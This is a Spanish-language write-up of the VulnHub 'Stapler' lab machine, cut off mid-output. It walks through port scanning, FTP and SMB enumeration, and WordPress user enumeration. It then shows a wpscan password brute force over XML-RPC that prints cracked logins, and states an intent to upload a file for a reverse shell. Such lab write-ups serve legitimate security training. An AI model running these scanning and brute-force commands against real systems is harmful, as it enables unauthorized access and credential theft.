Write Up Stapler VulnHub
Escaneo de puertos
nmap -p- --min-rate 5000 -sV <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 03:45 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 12.50% done; ETC: 03:45 (0:00:07 remaining)
Nmap scan report for 192.168.195.140
Host is up (0.00051s latency).
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.195.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| 256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_ 256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp open domain dnsmasq 2.75
| dns-nsid:
|_ bind.version: dnsmasq-2.75
80/tcp open http PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp closed ntp
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
| fingerprint-strings:
| NULL:
| message2.jpgUT
| QWux
| "DL[E
| #;3[
| \xf6
| u([r
| qYQq
| Y_?n2
| 3&M~{
| 9-a)T
| L}AJ
|_ .npy.9
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
| mysql-info:
| Protocol: 10
| Version: 5.7.12-0ubuntu1
| Thread ID: 8
| Capabilities flags: 63487
| Some Capabilities: IgnoreSigpipes, Speaks41ProtocolNew, Support41Auth, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, LongPassword, SupportsCompression, InteractiveClient, DontAllowDatabaseTableColumn, FoundRows, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: \x02\x01RTxX#xQ\x0Eo\x1AW\x14\x15;\x01k\x16\x1B
|_ Auth Plugin Name: mysql_native_password
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port666-TCP:V=7.94SVN%I=7%D=5/17%Time=66470B10%P=x86_64-pc-linux-gnu%r(
SF:NULL,1000,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0
SF:\x152\0\0\x0c\0\x1c\0message2\.jpgUT\t\0\x03\+\x9cQWJ\x9cQWux\x0b\0\x01
SF:\x04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@
SF:\xa2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9\"DL\[E\x
SF:a2\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0
SF:f\xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3\[\r_\xcddr\x87\xbd\xcf9\xf7\x
SF:aeu\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99
SF:\xd3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8
SF:\xa0\xf8\xc0\^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4\+j\xce\
SF:[\x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8
SF:b\xf4\xfdis\x0f\xeeM\?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe
SF:0\xdc\]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4
SF:\xd5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1
SF:\xaf\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\x
SF:e2:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1
SF:bk\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\\\.\xb9\x
SF:cc\xe7\xd0\xa4\x19\x93\xbd\xdf\^\xbe\xd6\xcdg\xcb\.\xd6\xbc\xaf\|W\x1c\
SF:xfd\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\x
SF:cc\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4\|\x
SF:b0\xf1\xc3\x84O\xb6nK\xdc\xbe#\)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u\(\
SF:[r\xf8H~A\xe1qYQq\xc9w\xa7\xbe\?}\xa6\xfc\x0f\?\x9c\xbdTy\xf9\xca\xd5\x
SF:aak\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7
SF:fy\xd2\xd5\xfd\xb4\xa7\xf7Y_\?n2\xff\xf5\xd7\xdf\x86\^\x0c\x8f\x90\x7f\
SF:x7f\xf9\xea\xb5m\x1c\xfc\xfef\"\.\x17\xc8\xf5\?B\xff\xbf\xc6\xc5,\x82\x
SF:cb\[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac\]_\xf
SF:9\xcc\[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f
SF:\xa7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x
SF:81\xfd\xef\xb8\xfa\xa1i\xae\.L\xf2\\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI
SF:\x96\x1e\xcb\x879-a\)T\x02\xc8\$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\
SF:x8f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\
SF:xf4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2\^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\x
SF:cd\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc
SF:\xbcL}AJ\xe5H\x912\x88\(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\
SF:xf0\.npy\.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x
SF:04\xf6~\xf1\]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GT
SF:Q\xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13\*P\x
SF:11\?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 00:0C:29:D1:84:FC (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (98%), Linux 3.10 - 4.11 (95%), Linux 3.13 (95%), Linux 3.13 - 3.16 (95%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (95%), Linux 4.10 (95%), Android 5.0 - 6.0.1 (Linux 3.4) (95%), Linux 3.10 (95%), Linux 3.2 - 3.10 (95%), Linux 3.2 - 3.16 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2024-05-17T07:45:35
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
| Computer name: red
| NetBIOS computer name: RED\x00
| Domain name: \x00
| FQDN: red
|_ System time: 2024-05-17T08:45:35+01:00
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m59s, deviation: 34m37s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms 192.168.195.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.22 secondsftp
ftp anonymous@<IP>Dentro del ftp encontraremos una nota, nos la descargamos y diria lo siguiente...
get noteInfo:
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.smb
smbclient -L //<IP>/ -NInfo:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
kathy Disk Fred, What are we doing here?
tmp Disk All temporary files should be stored here
IPC$ IPC IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP REDsmbclient //<IP>/kathy -NDentro de smb en este area de trabajo encontraremos 2 directorios...
kathy_stuff D 0 Sun Jun 5 11:02:27 2016
backup D 0 Sun Jun 5 11:04:14 2016Dentro de kathy_stuff encontramos 1 archvio que nos descargamos...
todo-list.txt N 64 Sun Jun 5 11:02:27 2016Y en el otro directorio backup encontraremos 2 archvios que tambien nos descargaremos...
vsftpd.conf N 5961 Sun Jun 5 11:03:45 2016
wordpress-4.tar.gz N 6321767 Mon Apr 27 13:14:46 2015Si ahora entramos al area de trabajo de tmp encontraremos lo siguiente...
smbclient //<IP>/tmp -Nls N 274 Sun Jun 5 11:32:58 2016Info todo-list.txt :
I'm making sure to backup anything important for Initech, KathyInfo ls :
.:
total 12.0K
drwxrwxrwt 2 root root 4.0K Jun 5 16:32 .
drwxr-xr-x 16 root root 4.0K Jun 3 22:06 ..
-rw-r--r-- 1 root root 0 Jun 5 16:32 ls
drwx------ 3 root root 4.0K Jun 5 15:32 systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJInfo vsftpd.conf :
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone? vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES
anon_root=/var/ftp/anonymous
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
#local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in your local time zone. The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
banner_file=/etc/vsftpd.banner
#
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories. See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty. Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
#utf8_filesystem=YES
pasv_enable=noHay un puerto 666 que si nos ponemos a la escucha en ese puerto nos devuelve mucha informacion que parece ser un .zip, por lo que lo volcamos a un archivo .zip de la siguiente manera...
nc <IP> 666 > archivo.zipDentro de este archivo encontraremos una imagen llamada message2.jpg que dice lo siguiente...
$ echo Scott, please change this message
segmentation faultEn la URL que visitamos con http en el puerto 12380 tendremos que poner https para que nos rediriga a otro sitio y en el haremos un nuevo reconocimiento...
Tiraremos un nikto para ver las posibles vulnerabilidades que tiene esta URL...
nikto -url https://<IP>:12380/Info:
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.195.140
+ Target Hostname: 192.168.195.140
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2024-05-17 05:32:43 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here.
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/HeaderStrict-Transport-Security
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to theIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/admin112233/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robo-txt-file
+ /robots.txt: Entry '/blogblog/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-t-file
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ Hostname '192.168.195.140' does not match certificate's names: Red.Initech. See: https://cwe.mitre.org/data/definitions/297.html
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8259 requests: 1 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-05-17 05:47:30 (GMT-4) (887 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedgobuster o dirb
dirb https://<IP>:12380/ /usr/share/wordlists/dirb/big.txtInfo:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri May 17 05:26:53 2024
URL_BASE: https://192.168.195.140:12380/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
-----------------
GENERATED WORDS: 20458
---- Scanning URL: https://192.168.195.140:12380/ ----
==> DIRECTORY: https://192.168.195.140:12380/announcements/
==> DIRECTORY: https://192.168.195.140:12380/javascript/
==> DIRECTORY: https://192.168.195.140:12380/phpmyadmin/
+ https://192.168.195.140:12380/robots.txt (CODE:200|SIZE:59)
+ https://192.168.195.140:12380/server-status (CODE:403|SIZE:306) Nos interesa ir al robots.txt dentro del mismo veremos lo siguiente...
User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/Si nos metemos en /blogblog/ entramos a un WordPress por lo que haremos lo siguiente...
wpscan --url https://<IP>:12380/blogblog/ --enumerate u --ignore-main-redirect --disable-tls-checksInfo:
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://192.168.195.140:12380/blogblog/ [192.168.195.140]
[+] Started: Fri May 17 06:13:28 2024
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://192.168.195.140:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://192.168.195.140:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Registration is enabled: https://192.168.195.140:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://192.168.195.140:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://192.168.195.140:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.195.140:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.195.140:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
[+] WordPress theme in use: bhost
| Location: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2024-03-13T00:00:00.000Z
| Readme: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.8
| Style URL: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=========================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] John Smith
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] elly
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] peter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] barry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] heather
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] garry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] harry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] scott
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] kathy
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tim
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri May 17 06:13:34 2024
[+] Requests Done: 72
[+] Cached Requests: 6
[+] Data Sent: 20.711 KB
[+] Data Received: 295.527 KB
[+] Memory used: 203.949 MB
[+] Elapsed time: 00:00:06Sacamos varios usuarios, por lo que haremos lo siguiente...
wpscan --url https://<IP>:12380/blogblog/ --disable-tls-checks --usernames Desktop/usersep.txt --passwords /usr/share/wordlists/rockyou.txtInfo:
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://192.168.195.140:12380/blogblog/ [192.168.195.140]
[+] Started: Fri May 17 06:17:50 2024
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: https://192.168.195.140:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: https://192.168.195.140:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Registration is enabled: https://192.168.195.140:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: https://192.168.195.140:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: https://192.168.195.140:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.195.140:12380/blogblog/?feed=rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.195.140:12380/blogblog/?feed=comments-rss2, <generator>http://wordpress.org/?v=4.2.1</generator>
[+] WordPress theme in use: bhost
| Location: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2024-03-13T00:00:00.000Z
| Readme: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.8
| Style URL: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme. This theme ...
| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <========================================================================================> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] Performing password attack on Xmlrpc Multicall against 10 user/s
[SUCCESS] - harry / monkey
[SUCCESS] - scott / cookie
[SUCCESS] - kathy / coolgirlTendremos las credenciales de 3 usuarios, pero ninguno de ellos tiene permisos de administrador, aunque si miramos bien en los directorios que nos revelo esta misma herramienta vemos uno llamado /uploads/ por lo que podremos subir un archivo y de ahi ejecutarlo para tener una Reverse Shell...
Si nos vamos a la siguiente URL veremos que los servidores de XML estan activados y solo recives solicitudes POST por lo que es vulnerable a poder subirle archivos...
URL: https://<IP>:12380/blogblog/xmlrpc.php
Info:
XML-RPC server accepts POST requests only.Probaremos a poner lo siguiente para ver si realmente funciona lo que nos dice en ese .php...
curl -k -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' https://<IP>:12380/blogblog/xmlrpc.phpEsto lo que hace es enumerar los metodos disponibles...
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
